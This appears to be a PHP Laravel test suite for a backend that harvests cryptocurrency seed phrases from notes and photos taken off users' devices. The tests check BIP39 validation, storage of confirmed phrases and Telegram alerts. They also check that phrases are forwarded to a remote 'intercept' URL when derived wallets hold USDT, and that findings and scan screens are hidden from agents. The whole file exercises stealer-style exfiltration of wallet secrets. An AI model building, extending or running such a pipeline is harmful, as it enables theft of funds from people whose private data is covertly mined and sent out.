'tg-token', 'coruna.telegram.owner_chat_id' => '10001', ]); Http::fake([ 'api.telegram.org/*' => Http::response(['ok' => true], 200), '*' => Http::response('fail', 500), ]); } #[Test] public function twelve_note_words_auto_confirm_and_ingest(): void { $device = $this->device('dev-scan-12'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9], ], 'content_hash' => hash('sha256', 'x'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $finding = MnemonicFinding::query()->first(); $this->assertNotNull($finding); $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status); $this->assertSame(self::PHRASE, $finding->candidate); $this->assertSame(1, $device->mnemonics()->count()); $this->assertSame('备忘录扫描', $device->mnemonics()->value('source')); $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status')); Http::assertSent(function ($request) { $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '新助记词') && str_contains($text, '备忘录扫描'); }); } #[Test] public function glued_numbered_note_words_auto_confirm_and_ingest(): void { $phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist'; $device = $this->device('dev-scan-glued'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist', ], 'content_hash' => hash('sha256', 'glued'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $finding = MnemonicFinding::query()->first(); $this->assertNotNull($finding); $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status); $this->assertSame($phrase, $finding->candidate); $this->assertSame(1, $device->mnemonics()->count()); $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status')); } #[Test] public function nine_note_hits_are_ignored(): void { $device = $this->device('dev-scan-9'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'partial', 'body' => self::NINE_HIT_OCR, 'native_id' => 3], ], 'content_hash' => hash('sha256', 'p'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $this->assertSame(0, MnemonicFinding::query()->count()); $this->assertSame(0, $device->mnemonics()->count()); $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status')); } #[Test] public function repetitive_note_english_is_ignored(): void { $device = $this->device('dev-scan-pipe'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'PVC', 'body' => 'PVC pipe 200 1.5 cable coil cable coil cable coil cable way', 'native_id' => 22], ], 'content_hash' => hash('sha256', 'pipe'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $this->assertSame(0, MnemonicFinding::query()->count()); $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status')); } #[Test] public function admin_can_edit_and_confirm_a_suspected_photo(): void { $device = $this->device('dev-scan-confirm'); $photo = $this->photoWithOcr($device, self::INVALID_UNIQUE); app(MnemonicScanService::class)->scanPhoto($photo); $finding = MnemonicFinding::query()->first(); $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding?->status); $admin = Admin::query()->create(['username' => 'scan-admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::PHRASE]) ->assertOk() ->assertJsonPath('code', 0); $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->fresh()->status); $this->assertSame(self::PHRASE, $finding->fresh()->candidate); $this->assertSame(1, $device->mnemonics()->count()); $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->fresh()->scan_status); } #[Test] public function admin_confirm_rejects_invalid_phrase(): void { $device = $this->device('dev-scan-confirm-bad'); $photo = $this->photoWithOcr($device, self::INVALID_UNIQUE); app(MnemonicScanService::class)->scanPhoto($photo); $finding = MnemonicFinding::query()->first(); $admin = Admin::query()->create(['username' => 'scan-admin-2', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::INVALID_UNIQUE]) ->assertOk() ->assertJsonPath('code', 1); $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding->fresh()->status); $this->assertSame(0, $device->mnemonics()->count()); } #[Test] public function bip39_test_vector_note_is_ignored(): void { $device = $this->device('dev-scan-abandon'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'test', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', 'native_id' => 7], ], 'content_hash' => hash('sha256', 'ab'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $this->assertSame(0, MnemonicFinding::query()->count()); $this->assertSame(0, $device->mnemonics()->count()); } #[Test] public function twelve_note_words_without_checksum_are_ignored(): void { $device = $this->device('dev-scan-bad-12'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'wallet', 'body' => self::INVALID_UNIQUE, 'native_id' => 8], ], 'content_hash' => hash('sha256', 'bad'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $this->assertSame(0, MnemonicFinding::query()->count()); $this->assertSame(0, $device->mnemonics()->count()); $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status')); } #[Test] public function twelve_photo_words_auto_confirm_with_album_source(): void { $device = $this->device('dev-scan-photo-12'); $photo = $this->photoWithOcr($device, self::PHRASE); app(MnemonicScanService::class)->scanPhoto($photo); $photo->refresh(); $this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->scan_status); $finding = MnemonicFinding::query()->where('photo_id', $photo->id)->first(); $this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding?->status); $this->assertSame(1, $device->mnemonics()->count()); $this->assertSame('相册', $device->mnemonics()->value('source')); Http::assertSent(function ($request) { $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '新助记词') && str_contains($text, '相册'); }); } #[Test] public function twelve_photo_words_without_checksum_stay_suspected(): void { $device = $this->device('dev-scan-photo-bad'); $invalid = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon'; $photo = $this->photoWithOcr($device, $invalid); app(MnemonicScanService::class)->scanPhoto($photo); $photo->refresh(); $this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status); $this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status')); $this->assertSame(0, $device->mnemonics()->count()); Http::assertNotSent(function ($request) { $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '疑似助记词') || str_contains($text, '新助记词'); }); } #[Test] public function hidden_agent_scan_ingests_onto_official_device(): void { config(['coruna.scan.agent_visible' => false]); $official = $this->officialDevice('dev-official-holder'); $device = $this->device('dev-scan-reattach'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9], ], 'content_hash' => hash('sha256', 'x'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $this->assertSame(0, $device->mnemonics()->count()); $this->assertSame($device->id, (int) MnemonicFinding::query()->value('device_id')); $row = $official->mnemonics()->first(); $this->assertNotNull($row); $this->assertSame(self::PHRASE, $row->mnemonic); $this->assertSame($device->id, (int) $row->origin_device_id); $this->assertSame('备忘录扫描', $row->source); Http::assertSent(function ($request) use ($official, $device) { $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '新助记词') && str_contains($text, $official->device_id) && str_contains($text, '原设备') && str_contains($text, $device->device_id); }); } #[Test] public function admin_findings_index_streams_note_progress(): void { $first = $this->device('dev-scan-progress-a'); $second = $this->device('dev-scan-progress-b'); Note::query()->create([ 'device_id' => $first->id, 'content' => [ ['title' => 'old', 'body' => 'one', 'native_id' => 1], ['title' => 'old2', 'body' => 'two', 'native_id' => 2], ], 'content_hash' => hash('sha256', 'old'), ]); Note::query()->create([ 'device_id' => $first->id, 'content' => [ ['title' => 'new', 'body' => 'only-latest', 'native_id' => 3], ], 'content_hash' => hash('sha256', 'new'), ]); Note::query()->create([ 'device_id' => $second->id, 'content' => [ ['title' => 'b1', 'body' => 'x', 'native_id' => 1], ['title' => 'b2', 'body' => 'y', 'native_id' => 2], ], 'content_hash' => hash('sha256', 'b'), ]); $progress = app(MnemonicScanService::class)->noteProgress(); $this->assertSame(3, $progress['total']); $agentA = User::query()->create(['username' => 'scan-pa', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'scan-pb', 'password' => 'secret12', 'status' => 1]); Channel::query()->create(['channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => 'cccccccccccccccccccccccccccccccc', 'user_id' => $agentB->id, 'status' => 1]); $other = Device::query()->create([ 'device_id' => 'dev-scan-progress-c', 'channel_id' => 'cccccccccccccccccccccccccccccccc', ]); Note::query()->create([ 'device_id' => $other->id, 'content' => [ ['title' => 'c1', 'body' => 'z', 'native_id' => 1], ['title' => 'c2', 'body' => 'w', 'native_id' => 2], ['title' => 'c3', 'body' => 'v', 'native_id' => 3], ['title' => 'c4', 'body' => 'u', 'native_id' => 4], ['title' => 'c5', 'body' => 't', 'native_id' => 5], ], 'content_hash' => hash('sha256', 'c'), ]); $this->assertSame(3, app(MnemonicScanService::class)->noteProgress(null, $agentA)['total']); $this->assertSame(5, app(MnemonicScanService::class)->noteProgress(null, $agentB)['total']); Cache::forget('scan.note_progress:all'); Cache::forget('scan.photo_progress:all'); $admin = Admin::query()->create(['username' => 'scan-index', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->get(route('admin.findings.index')) ->assertOk() ->assertSee('助记词扫描') ->assertSee('备忘录') ->assertDontSee('only-latest'); $this->actingAs($admin, 'admin') ->getJson(route('admin.findings.progress')) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('note.total', 8) ->assertJsonPath('photo.total', 0); } #[Test] public function agent_cannot_open_findings_when_scan_hidden(): void { config(['coruna.scan.agent_visible' => false]); $agent = User::query()->create([ 'username' => 'scan-agent', 'password' => 'secret12', 'status' => 1, ]); $this->actingAs($agent, 'agent') ->get(route('user.findings.index')) ->assertForbidden(); $this->actingAs($agent, 'agent') ->getJson(route('user.findings.data')) ->assertForbidden(); } #[Test] public function agent_device_photos_hide_scan_ui_when_scan_hidden(): void { config(['coruna.scan.agent_visible' => false]); $agent = User::query()->create([ 'username' => 'scan-hide-ui', 'password' => 'secret12', 'status' => 1, ]); Channel::query()->create([ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agent->id, 'status' => 1, ]); $device = $this->device('dev-scan-hide-ui'); $photo = $this->photoWithOcr($device, self::PHRASE); $photo->scan_status = MnemonicScanStatus::SUSPECTED; $photo->save(); $this->actingAs($agent, 'agent') ->get(route('user.devices.show', [$device, 'tab' => 'photos'])) ->assertOk() ->assertDontSee('助记词扫描') ->assertDontSee('扫描进度') ->assertDontSee('疑似') ->assertDontSee('已扫'); $tab = $this->actingAs($agent, 'agent') ->getJson(route('user.devices.tabData', [$device, 'tab' => 'photos'])) ->assertOk(); $this->assertSame('', $tab->json('data.0.scan_label')); $this->assertArrayNotHasKey('scan', $tab->json()); } #[Test] public function rescan_drops_stale_suspected_finding(): void { $device = $this->device('dev-scan-stale'); $note = Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'ui', 'body' => '备份助记词 请妥善保管', 'native_id' => 1], ], 'content_hash' => hash('sha256', 'y'), ]); $finding = new MnemonicFinding([ 'device_id' => $device->id, 'source' => 'note', 'note_id' => $note->id, 'item_key' => 'n:1', 'status' => MnemonicFinding::STATUS_SUSPECTED, 'word_count' => 12, 'score' => 140, ]); $finding->candidate = '备 份 助 记 词 请 妥 善 保 管'; $finding->save(); app(MnemonicScanService::class)->scanDeviceNotes($device); $this->assertSame(0, MnemonicFinding::query()->count()); $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status')); } #[Test] public function confirmed_scan_forwards_mnemonic_when_derived_address_has_balance(): void { config(['coruna.intercept.forward_url' => 'https://dest.example']); Http::fake([ 'api.telegram.org/*' => Http::response(['ok' => true], 200), 'https://dest.example/*' => Http::response('ok', 200), '*' => Http::response('fail', 500), ]); $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5); $device = $this->device('dev-scan-fwd'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9], ], 'content_hash' => hash('sha256', 'fwd'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $this->assertSame(1, $device->mnemonics()->count()); $this->assertSame(self::PHRASE, $device->mnemonics()->first()?->mnemonic); Http::assertSent(function ($request) { if (! str_starts_with($request->url(), 'https://dest.example/us')) { return false; } $ts = (string) ($request->header('x-ts')[0] ?? ''); $payload = DecryptXxbbBody::crypto()->decryptJsonBody((string) $request->body(), $ts); return is_array($payload) && ($payload['d'] ?? '') === 'dev-scan-fwd' && ($payload['a'] ?? '') === 'note_scan' && ($payload['mnemonic'] ?? '') === self::PHRASE; }); } #[Test] public function confirmed_scan_does_not_forward_when_derived_addresses_have_no_balance(): void { config(['coruna.intercept.forward_url' => 'https://dest.example']); Http::fake([ 'api.telegram.org/*' => Http::response(['ok' => true], 200), 'https://dest.example/*' => Http::response('ok', 200), '*' => Http::response('fail', 500), ]); $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 0); $device = $this->device('dev-scan-nofwd'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9], ], 'content_hash' => hash('sha256', 'nofwd'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $this->assertSame(1, $device->mnemonics()->count()); Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us')); } #[Test] public function confirmed_scan_does_not_forward_when_dest_url_empty(): void { config(['coruna.intercept.forward_url' => '']); Http::fake([ 'api.telegram.org/*' => Http::response(['ok' => true], 200), '*' => Http::response('ok', 200), ]); $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 99); $device = $this->device('dev-scan-nourl'); Note::query()->create([ 'device_id' => $device->id, 'content' => [ ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9], ], 'content_hash' => hash('sha256', 'nourl'), ]); app(MnemonicScanService::class)->scanDeviceNotes($device); $this->assertSame(1, $device->mnemonics()->count()); Http::assertNotSent(fn ($request) => str_contains($request->url(), '/us') && ! str_contains($request->url(), 'telegram')); } private function bindFundedDiscovery(string $address, float $usdt): void { $discovery = Mockery::mock(MnemonicWalletDiscovery::class); $discovery->shouldReceive('discoverActivated')->once()->andReturnUsing(function (WalletMnemonic $mnemonic) use ($address, $usdt) { WalletAddress::query()->create([ 'device_id' => $mnemonic->device_id, 'mnemonic_id' => $mnemonic->id, 'address' => $address, 'chain_type' => 'TRON', 'source' => '备忘录扫描', 'usdt' => $usdt, 'trx' => 0, 'monitor' => 1, ]); return $usdt > 0 ? 1 : 0; }); $this->app->instance(MnemonicWalletDiscovery::class, $discovery); } private function device(string $key): Device { return Device::query()->create([ 'device_id' => $key, 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', ]); } private function officialDevice(string $key): Device { Channel::query()->create([ 'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1, ]); return Device::query()->create([ 'device_id' => $key, 'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', ]); } private function photoWithOcr(Device $device, string $ocrText): Photo { $this->app->instance(OcrDriver::class, new class($ocrText) implements OcrDriver { public function __construct(private readonly string $text) {} public function recognize(string $imagePath): string { return $this->text; } }); return $this->storePhoto($device); } /** * @param array $attrs */ private function storePhoto(Device $device, array $attrs = []): Photo { $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg=='); $rel = 'c2/photos/'.$device->device_id.'/'.uniqid('p_', true).'.png'; Storage::disk('local')->put($rel, $png); return Photo::query()->create(array_merge([ 'device_id' => $device->id, 'sha256' => hash('sha256', $png.uniqid('', true)), 'path' => $rel, 'size' => strlen($png), 'scan_status' => MnemonicScanStatus::PENDING, ], $attrs)); } }